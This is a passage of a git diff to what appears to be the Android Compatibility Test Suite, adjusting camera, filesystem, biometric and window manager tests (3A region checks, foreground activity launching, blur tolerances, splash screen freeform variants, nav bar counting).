+                // If the expected region's metering weight is 0, allow the camera device
+                // to override it.
+                if (expectRegions[i].getMeteringWeight() == 0) {
+                    continue;
+                }
+
+                Rect a = actualRegion[i].getRect();
+                Rect e = expectRegions[i].getRect();
+
+                if (VERBOSE) {
+                    Log.v(TAG, "Actual region " + actualRegion[i].toString() +
+                            ", expected region " + expectRegions[i].toString() +
+                            ", maxDist " + maxDist);
+                }
+                assertTrue(
+                    "Expected 3A regions: " + Arrays.toString(expectRegions) +
+                    " are not close enough to the actual one: " + Arrays.toString(actualRegion),
+                    maxDist >= Math.abs(a.left - e.left));
+
+                assertTrue(
+                    "Expected 3A regions: " + Arrays.toString(expectRegions) +
+                    " are not close enough to the actual one: " + Arrays.toString(actualRegion),
+                    maxDist >= Math.abs(a.right - e.right));
+
+                assertTrue(
+                    "Expected 3A regions: " + Arrays.toString(expectRegions) +
+                    " are not close enough to the actual one: " + Arrays.toString(actualRegion),
+                    maxDist >= Math.abs(a.top - e.top));
+                assertTrue(
+                    "Expected 3A regions: " + Arrays.toString(expectRegions) +
+                    " are not close enough to the actual one: " + Arrays.toString(actualRegion),
+                    maxDist >= Math.abs(a.bottom - e.bottom));
+            }
+        }
+    }
+
+
+    /**
      * Validate image based on format and size.
      *
      * @param image The image to be validated.
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index 8a9cf4e..1930b33 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -909,6 +909,13 @@
         return activeArray;
     }
 
+    public StreamConfigurationMap getStreamConfigMap() {
+        Key<StreamConfigurationMap> key =
+                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
+        StreamConfigurationMap config = getValueFromKeyNonNull(key);
+        return config;
+    }
+
     /**
      * Get and check active array size.
      */
@@ -2560,6 +2567,13 @@
                 CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_DEPTH_OUTPUT);
     }
 
+    /* Check if this is a depth only camera (no color output is supported AND depth output is
+     * supported)
+     */
+    public boolean isDepthOnlyCamera() {
+        return isDepthOutputSupported() && !isColorOutputSupported();
+    }
+
     /**
      * Check if offline processing is supported, based on the respective capability
      */
diff --git a/tests/filesystem/AndroidManifest.xml b/tests/filesystem/AndroidManifest.xml
index d203a1a..f559247 100644
--- a/tests/filesystem/AndroidManifest.xml
+++ b/tests/filesystem/AndroidManifest.xml
@@ -23,6 +23,9 @@
 
     <application>
         <uses-library android:name="android.test.runner" />
+        <activity android:name=".FileActivity"
+             android:exported="true">
+        </activity>
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.filesystem.cts"
diff --git a/tests/filesystem/src/android/filesystem/cts/FileActivity.java b/tests/filesystem/src/android/filesystem/cts/FileActivity.java
new file mode 100644
index 0000000..58b108e
--- /dev/null
+++ b/tests/filesystem/src/android/filesystem/cts/FileActivity.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.filesystem.cts;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * A simple activity to stay foreground context.
+ */
+public class FileActivity extends Activity {
+    private static final String PACKAGE_NAME = "android.filesystem.cts";
+
+    public static void startFileActivity(Context context) {
+        final Intent intent = new Intent();
+        intent.setComponent(new ComponentName(PACKAGE_NAME, FileActivity.class.getName()));
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+}
diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
index 9f05994..1017081 100644
--- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
@@ -65,6 +65,7 @@
         if (fileSize == 0) { // not enough space, give up
             return;
         }
+        FileActivity.startFileActivity(getContext());
         String streamName = "test_random_read";
         DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName);
         double mbps = FileUtil.doRandomReadTest(getContext(), DIR_RANDOM_RD, report, fileSize,
@@ -86,6 +87,7 @@
         while (usableSpace < fileSize) {
             fileSize = fileSize / 2;
         }
+        FileActivity.startFileActivity(getContext());
         String streamName = "test_random_update";
         DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName);
         double mbps = -1;
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index 269861c..a3e6f83 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -78,6 +78,7 @@
         if (fileSize == 0) { // not enough space, give up
             return;
         }
+        FileActivity.startFileActivity(getContext());
         final int numberOfFiles =(int)(fileSize / BUFFER_SIZE);
         String streamName = "test_single_sequential_write";
         DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName);
@@ -115,6 +116,7 @@
         if (fileSize == 0) { // not enough space, give up
             return;
         }
+        FileActivity.startFileActivity(getContext());
         final int NUMBER_REPETITION = 3;
         String streamName = "test_single_sequential_update";
         FileUtil.doSequentialUpdateTest(getContext(), DIR_SEQ_UPDATE, fileSize, BUFFER_SIZE,
@@ -128,6 +130,7 @@
         if (fileSize == 0) { // not enough space, give up
             return;
         }
+        FileActivity.startFileActivity(getContext());
         long start = System.currentTimeMillis();
         final File file = FileUtil.createNewFilledFile(getContext(),
                 DIR_SEQ_RD, fileSize);
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java
index 7d8416e..cf8010c 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java
@@ -52,6 +52,10 @@
     @Test
     public void testBiometricOnly_authenticateFromForegroundActivity() throws Exception {
         for (SensorProperties prop : mSensorProperties) {
+            if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
+                continue;
+            }
+
             try (BiometricTestSession session =
                          mBiometricManager.createTestSession(prop.getSensorId());
                  ActivitySession activitySession =
@@ -100,6 +104,10 @@
     @Test
     public void testBiometricOnly_rejectThenErrorFromForegroundActivity() throws Exception {
         for (SensorProperties prop : mSensorProperties) {
+            if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
+                continue;
+            }
+
             try (BiometricTestSession session =
                          mBiometricManager.createTestSession(prop.getSensorId());
                  ActivitySession activitySession =
@@ -162,6 +170,10 @@
     @Test
     public void testBiometricOnly_rejectThenAuthenticate() throws Exception {
         for (SensorProperties prop : mSensorProperties) {
+            if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
+                continue;
+            }
+
             try (BiometricTestSession session =
                          mBiometricManager.createTestSession(prop.getSensorId());
                  ActivitySession activitySession =
@@ -225,6 +237,10 @@
     @Test
     public void testBiometricOnly_negativeButtonInvoked() throws Exception {
         for (SensorProperties prop : mSensorProperties) {
+            if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
+                continue;
+            }
+
             try (BiometricTestSession session =
                          mBiometricManager.createTestSession(prop.getSensorId());
                  ActivitySession activitySession =
@@ -272,6 +288,10 @@
         try (CredentialSession credentialSession = new CredentialSession()) {
             credentialSession.setCredential();
             for (SensorProperties prop : mSensorProperties) {
+                if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
+                    continue;
+                }
+
                 try (BiometricTestSession session =
                              mBiometricManager.createTestSession(prop.getSensorId());
                      ActivitySession activitySession =
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java
index 7ffda4f..9b30fa6 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java
@@ -163,7 +163,7 @@
                 testBiometricStrength_forSensor_authDisallowed(sensorId,
                         testCases[i][0] /* originalStrength */,
                         testCases[i][1] /* requestedStrength */,
-                        sensors.size() > 1 /* hasMultiSensors */);
+                        mSensorProperties.size() > 1 /* hasMultiSensors */);
             }
         }
     }
@@ -505,7 +505,7 @@
                         testCases[i][0] /* originalStrength */,
                         testCases[i][1] /* targetStrength */,
                         testCases[i][2] /* requestedStrength */,
-                        sensors.size() > 1 /* hasMultiSensors */);
+                        mSensorProperties.size() > 1 /* hasMultiSensors */);
             }
         }
     }
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
index 86bed85..a449266 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSimpleTests.java
@@ -228,6 +228,9 @@
     @Test
     public void testSimpleBiometricAuth() throws Exception {
         for (SensorProperties props : mSensorProperties) {
+            if (props.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
+                continue;
+            }
 
             Log.d(TAG, "testSimpleBiometricAuth, sensor: " + props.getSensorId());
 
@@ -339,6 +342,10 @@
     @Test
     public void testBiometricCancellation() throws Exception {
         for (SensorProperties props : mSensorProperties) {
+            if (props.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
+                continue;
+            }
+
             try (BiometricTestSession session =
                          mBiometricManager.createTestSession(props.getSensorId())) {
                 enrollForSensor(session, props.getSensorId());
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index f0f40a6..287e67c 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -366,7 +366,7 @@
              android:theme="@style/no_starting_window"/>
         <activity android:name="android.server.wm.WindowFocusTests$PrimaryActivity"/>
         <activity android:name="android.server.wm.WindowFocusTests$SecondaryActivity"
-             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"/>
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
         <activity android:name="android.server.wm.WindowFocusTests$LosingFocusActivity"/>
         <activity android:name="android.server.wm.WindowFocusTests$AutoEngagePointerCaptureActivity" />
         <activity android:name="android.server.wm.WindowMetricsActivityTests$MetricsActivity"
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 72a5aac..1d3a0c0 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -601,15 +601,19 @@
         <activity android:name=".HideOverlayWindowsActivity" android:exported="true"/>
         <activity android:name=".BackgroundImageActivity"
              android:theme="@style/BackgroundImage"
+             android:colorMode="wideColorGamut"
              android:exported="true"/>
         <activity android:name=".BlurActivity"
              android:exported="true"
+             android:colorMode="wideColorGamut"
              android:theme="@style/TranslucentDialog"/>
         <activity android:name=".BlurAttributesActivity"
              android:exported="true"
+             android:colorMode="wideColorGamut"
              android:theme="@style/BlurryDialog"/>
         <activity android:name=".BadBlurActivity"
              android:exported="true"
+             android:colorMode="wideColorGamut"
              android:theme="@style/BadBlurryDialog"/>
 
         <!-- Splash Screen Test Activities -->
diff --git a/tests/framework/base/windowmanager/appProfileable/src/android/server/wm/profileable/ProfileableAppActivity.java b/tests/framework/base/windowmanager/appProfileable/src/android/server/wm/profileable/ProfileableAppActivity.java
index e7fa8ff..46f6183 100644
--- a/tests/framework/base/windowmanager/appProfileable/src/android/server/wm/profileable/ProfileableAppActivity.java
+++ b/tests/framework/base/windowmanager/appProfileable/src/android/server/wm/profileable/ProfileableAppActivity.java
@@ -61,7 +61,14 @@
 
     /** Monitor the close event of trace file. */
     private static class TraceFileObserver extends FileObserver {
-        private static final long TIMEOUT_MS = TimeUnit.SECONDS.toMillis(5);
+        /**
+         * The timeout for the close event of trace file. Although the trace file may take longer
+         * than 3 seconds, it is enough because the test only checks the first line of the file.
+         * Note that this timeout must be less than the value of
+         * {@link android.server.wm.CommandSession.ActivitySession.Response#TIMEOUT_MILLIS}.
+         * Otherwise the caller who sent {@link COMMAND_WAIT_FOR_PROFILE_OUTPUT} may get exception.
+         */
+        private static final long TIMEOUT_MS = TimeUnit.SECONDS.toMillis(3);
         private volatile boolean mDone;
 
         TraceFileObserver() {
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
index 9099c67..dbfef28 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
@@ -89,11 +89,10 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
+        ExtensionUtils.assumeSupportedDevice(mContext);
 
         // Launch activity after the ActivityManagerTestBase clean all package states.
         mActivity = mActivityTestRule.launchActivity(new Intent());
-        ExtensionUtils.assumeSupportedDevice(mActivity);
-
         mExtension = ExtensionUtils.getInterfaceCompat(mActivity);
         assertThat(mExtension).isNotNull();
         mWindowToken = getActivityWindowToken(mActivity);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
index a4196d8..23e47c2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
@@ -344,10 +344,10 @@
             for (int y = 0; y < height; y++) {
                 if (x < blueWidth) {
                     ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                            Color.BLUE, screenshot.getPixel(x, y), 0);
+                            Color.BLUE, screenshot.getPixel(x, y), 1);
                 } else {
                     ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                            Color.RED, screenshot.getPixel(x, y), 0);
+                            Color.RED, screenshot.getPixel(x, y), 1);
                 }
             }
         }
@@ -374,20 +374,20 @@
             for (int y = 0; y < screenshot.getHeight(); y++) {
                 if (x < windowFrame.left) {
                     ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                            Color.BLUE, screenshot.getPixel(x, y), 0);
+                            Color.BLUE, screenshot.getPixel(x, y), 1);
                 } else if (x < screenshot.getWidth() / 2) {
                     if (y < windowFrame.top || y > windowFrame.bottom) {
                         ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                                Color.BLUE, screenshot.getPixel(x, y), 0);
+                                Color.BLUE, screenshot.getPixel(x, y), 1);
                     }
                 } else if (x <= windowFrame.right) {
                     if (y < windowFrame.top || y > windowFrame.bottom) {
                         ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                                Color.RED, screenshot.getPixel(x, y), 0);
+                                Color.RED, screenshot.getPixel(x, y), 1);
                     }
                 } else if (x > windowFrame.right) {
                     ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                            Color.RED, screenshot.getPixel(x, y), 0);
+                            Color.RED, screenshot.getPixel(x, y), 1);
                 }
 
             }
@@ -398,7 +398,7 @@
         for (int y = windowFrame.top; y < windowFrame.bottom; y++) {
             for (int x = windowFrame.left; x < windowFrame.right; x++) {
                 ColorUtils.verifyColor("failed for pixel (x, y) = (" + x + ", " + y + ")",
-                        NO_BLUR_BACKGROUND_COLOR, screenshot.getPixel(x, y), 0);
+                        NO_BLUR_BACKGROUND_COLOR, screenshot.getPixel(x, y), 1);
             }
         }
     }
@@ -415,14 +415,14 @@
 
         Color previousColor;
         Color currentColor;
-        final int unaffectedBluePixelX = width / 2 - blurRadius - 1;
-        final int unaffectedRedPixelX = width / 2 + blurRadius + 1;
+        final int unaffectedBluePixelX = width / 2 - blurRadius * 2 - 1;
+        final int unaffectedRedPixelX = width / 2 + blurRadius * 2 + 1;
         for (int y = startHeight; y < endHeight; y++) {
             ColorUtils.verifyColor(
                     "failed for pixel (x, y) = (" + unaffectedBluePixelX + ", " + y + ")",
-                    Color.BLUE, screenshot.getPixel(unaffectedBluePixelX, y), 0);
+                    Color.BLUE, screenshot.getPixel(unaffectedBluePixelX, y), 1);
             previousColor = Color.valueOf(Color.BLUE);
-            for (int x = blurAreaStartX; x <= blurAreaEndX; x += stepSize) {
+            for (int x = blurAreaStartX; x < blurAreaEndX; x += stepSize) {
                 currentColor = screenshot.getColor(x, y);
                 assertTrue("assertBlur failed for blue for pixel (x, y) = (" + x + ", " + y + ");"
                         + " previousColor blue: " + previousColor.blue()
@@ -437,7 +437,7 @@
             }
             ColorUtils.verifyColor(
                     "failed for pixel (x, y) = (" + unaffectedRedPixelX + ", " + y + ")",
-                    Color.RED, screenshot.getPixel(unaffectedRedPixelX, y), 0);
+                    Color.RED, screenshot.getPixel(unaffectedRedPixelX, y), 1);
         }
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
index b03e453..4213984 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
@@ -604,7 +604,6 @@
         mWmState.waitForKeyguardGone();
         mWmState.assertVisibility(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY, true);
         assertFalse(mWmState.getKeyguardControllerState().keyguardShowing);
-        assertOnDismissSucceeded(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY);
         assertTrue(isDisplayOn(DEFAULT_DISPLAY));
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index 1c87147..22d449c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -837,10 +837,12 @@
                 mWmState.getResumedActivitiesCountInPackage(
                         SDK_27_LAUNCHING_ACTIVITY.getPackageName()));
 
+        // Start SeparateProcessActivity in the same task as LaunchingActivity by setting
+        // allowMultipleInstances to false, and the TestActivity should be resumed.
         getLaunchActivityBuilder().setUseInstrumentation()
                 .setTargetActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY).setNewTask(true)
                 .setDisplayId(DEFAULT_DISPLAY).setWindowingMode(WINDOWING_MODE_FULLSCREEN)
-                .execute();
+                .allowMultipleInstances(false).execute();
         waitAndAssertTopResumedActivity(SDK_27_SEPARATE_PROCESS_ACTIVITY, DEFAULT_DISPLAY,
                 "Activity launched on default display must be resumed and focused");
         assertTrue("Activity that was on secondary display must be resumed",
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index 63526cf..8f2483c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -87,6 +87,7 @@
 
 import java.util.List;
 import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
 
 /**
  * Build/Install/Run:
@@ -276,11 +277,13 @@
 
         assertEquals("The number of nav bars should be the same", expected.size(), result.size());
 
-        // Nav bars should show on the same displays
-        for (int i = 0; i < expected.size(); i++) {
-            final int expectedDisplayId = expected.get(i).getDisplayId();
-            mWmState.waitAndAssertNavBarShownOnDisplay(expectedDisplayId);
-        }
+        mWmState.getDisplays().forEach(displayContent -> {
+            List<WindowState> navWindows = expected.stream().filter(ws ->
+                    ws.getDisplayId() == displayContent.mId)
+                    .collect(Collectors.toList());
+
+            mWmState.waitAndAssertNavBarShownOnDisplay(displayContent.mId, navWindows.size());
+        });
     }
 
     // Secondary Home related tests
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
index 1a5a683..b664b11 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
@@ -55,6 +55,7 @@
 
 import com.android.compatibility.common.util.PollingCheck;
 
+import org.junit.After;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -83,6 +84,12 @@
     @Parameterized.Parameter(1)
     public String orientationName;
 
+    @After
+    public void tearDown() {
+        mTestActivity.finishActivity();
+        new WindowManagerStateHelper().waitForDisplayUnfrozen();
+    }
+
     @Rule
     public final ActivityTestRule<TestActivity> mTestActivity =
             new ActivityTestRule<>(TestActivity.class, false /* initialTouchMode */,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index bd70052..b49e726 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -20,6 +20,8 @@
 import static android.app.UiModeManager.MODE_NIGHT_CUSTOM;
 import static android.app.UiModeManager.MODE_NIGHT_NO;
 import static android.app.UiModeManager.MODE_NIGHT_YES;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.Intent.ACTION_MAIN;
 import static android.content.Intent.CATEGORY_HOME;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
@@ -110,6 +112,7 @@
     public void setUp() throws Exception {
         super.setUp();
         mWmState.setSanityCheckWithFocusedWindow(false);
+        mWmState.waitForDisplayUnfrozen();
     }
 
     @After
@@ -144,7 +147,19 @@
         // applied insets by system bars in AAOS.
         assumeFalse(isCar());
 
-        launchActivityNoWait(SPLASHSCREEN_ACTIVITY);
+        launchActivityNoWait(SPLASHSCREEN_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        // The windowSplashScreenContent attribute is set to RED. We check that it is ignored.
+        testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.BLUE, Color.WHITE);
+    }
+
+    @Test
+    public void testSplashscreenContent_FreeformWindow() {
+        // TODO(b/192431448): Allow Automotive to skip this test until Splash Screen is properly
+        // applied insets by system bars in AAOS.
+        assumeFalse(isCar());
+        assumeTrue(supportsFreeform());
+
+        launchActivityNoWait(SPLASHSCREEN_ACTIVITY, WINDOWING_MODE_FREEFORM);
         // The windowSplashScreenContent attribute is set to RED. We check that it is ignored.
         testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.BLUE, Color.WHITE);
     }
@@ -153,6 +168,9 @@
         // Activity may not be launched yet even if app transition is in idle state.
         mWmState.waitForActivityState(name, STATE_RESUMED);
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        boolean isFullscreen = mWmState.getTaskByActivity(name).isWindowingModeCompatible(
+                WINDOWING_MODE_FULLSCREEN);
+
         final Bitmap image = takeScreenshot();
         final WindowMetrics windowMetrics = mWm.getMaximumWindowMetrics();
         final Rect stableBounds = new Rect(windowMetrics.getBounds());
@@ -173,12 +191,9 @@
         Rect topInsetsBounds = new Rect(insets.left, 0, appBounds.right - insets.right, insets.top);
         Rect bottomInsetsBounds = new Rect(insets.left, appBounds.bottom - insets.bottom,
                 appBounds.right - insets.right, appBounds.bottom);
-        assertFalse("Top insets bounds rect is empty", topInsetsBounds.isEmpty());
-        assertFalse("Bottom insets bounds rect is empty", bottomInsetsBounds.isEmpty());
 
-        if (appBounds.isEmpty()) {
-            fail("Couldn't find splash screen bounds. Impossible to assert the colors");
-        }
+        assertFalse("Couldn't find splash screen bounds. Impossible to assert the colors",
+                appBounds.isEmpty());
 
         // Use ratios to flexibly accommodate circular or not quite rectangular displays
         // Note: Color.BLACK is the pixel color outside of the display region
@@ -191,8 +206,13 @@
 
         appBounds.intersect(stableBounds);
         assertColors(image, appBounds, primaryColor, 0.99f, secondaryColor, 0.02f, ignoreRect);
-        assertColors(image, topInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null);
-        assertColors(image, bottomInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null);
+        if (isFullscreen && !topInsetsBounds.isEmpty()) {
+            assertColors(image, topInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null);
+        }
+        if (isFullscreen && !bottomInsetsBounds.isEmpty()) {
+            assertColors(image, bottomInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f,
+                    null);
+        }
     }
 
     // For real devices, gamma correction might be applied on hardware driver, so the colors may
@@ -385,7 +405,20 @@
         // applied insets by system bars in AAOS.
         assumeFalse(isCar());
 
-        launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, extraBool(DELAY_RESUME, true));
+        launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                extraBool(DELAY_RESUME, true));
+        testSplashScreenColor(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, Color.BLUE, Color.WHITE);
+    }
+
+    @Test
+    public void testSetBackgroundColorActivity_FreeformWindow() {
+        // TODO(b/192431448): Allow Automotive to skip this test until Splash Screen is properly
+        // applied insets by system bars in AAOS.
+        assumeFalse(isCar());
+        assumeTrue(supportsFreeform());
+
+        launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, WINDOWING_MODE_FREEFORM,
+                extraBool(DELAY_RESUME, true));
         testSplashScreenColor(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, Color.BLUE, Color.WHITE);
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index 0b42360..024ea17 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -290,7 +290,6 @@
                 DEFAULT_DISPLAY);
 
         final InvisibleVirtualDisplaySession session = createManagedInvisibleDisplaySession();
-        final int secondaryDisplayId = session.getDisplayId();
         final SecondaryActivity secondaryActivity = session.startActivityAndFocus();
         // Secondary display disconnected.
         session.close();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
index d5b652f..441c862 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
@@ -100,8 +100,10 @@
 
     @Test
     public void testAnimationCallbacks_overlapping() {
-        // Test requires navbar to create overlapping animations.
-        assumeTrue(hasWindowInsets(mRootView, navigationBars()));
+        assumeTrue(
+                "Test requires navBar and statusBar to create overlapping animations.",
+                hasWindowInsets(mRootView, navigationBars())
+                        && hasWindowInsets(mRootView, statusBars()));
 
         WindowInsets before = mActivity.mLastWindowInsets;
         MultiAnimCallback callbackInner = new MultiAnimCallback();
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 388095c..ba34d17 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -83,6 +83,7 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
+import java.util.Objects;
 import java.util.function.Consumer;
 import java.util.function.Predicate;
 import java.util.stream.Collectors;
@@ -966,17 +967,18 @@
                 .collect(Collectors.toList());
     }
 
-    WindowState getAndAssertSingleNavBarWindowOnDisplay(int displayId) {
-        List<WindowState> navWindow = getMatchingWindows(ws ->
-                WindowManagerState.isValidNavBarType(ws) && ws.getDisplayId() == displayId)
+    @Nullable
+    List<WindowState> getAndAssertNavBarWindowsOnDisplay(int displayId, int expectedNavBarCount) {
+        List<WindowState> navWindows = getMatchingWindows(ws -> isValidNavBarType(ws)
+                && ws.getDisplayId() == displayId)
+                .filter(Objects::nonNull)
                 .collect(Collectors.toList());
-
         // We may need some time to wait for nav bar showing.
-        // It's Ok to get 0 nav bar here.
-        assertTrue("There should be at most one navigation bar on a display",
-                navWindow.size() <= 1);
+        // It's Ok to get less that expected nav bars here.
+        assertTrue("There should be at most expectedNavBarCount navigation bar on a display",
+                navWindows.size() <= expectedNavBarCount);
 
-        return navWindow.isEmpty() ? null : navWindow.get(0);
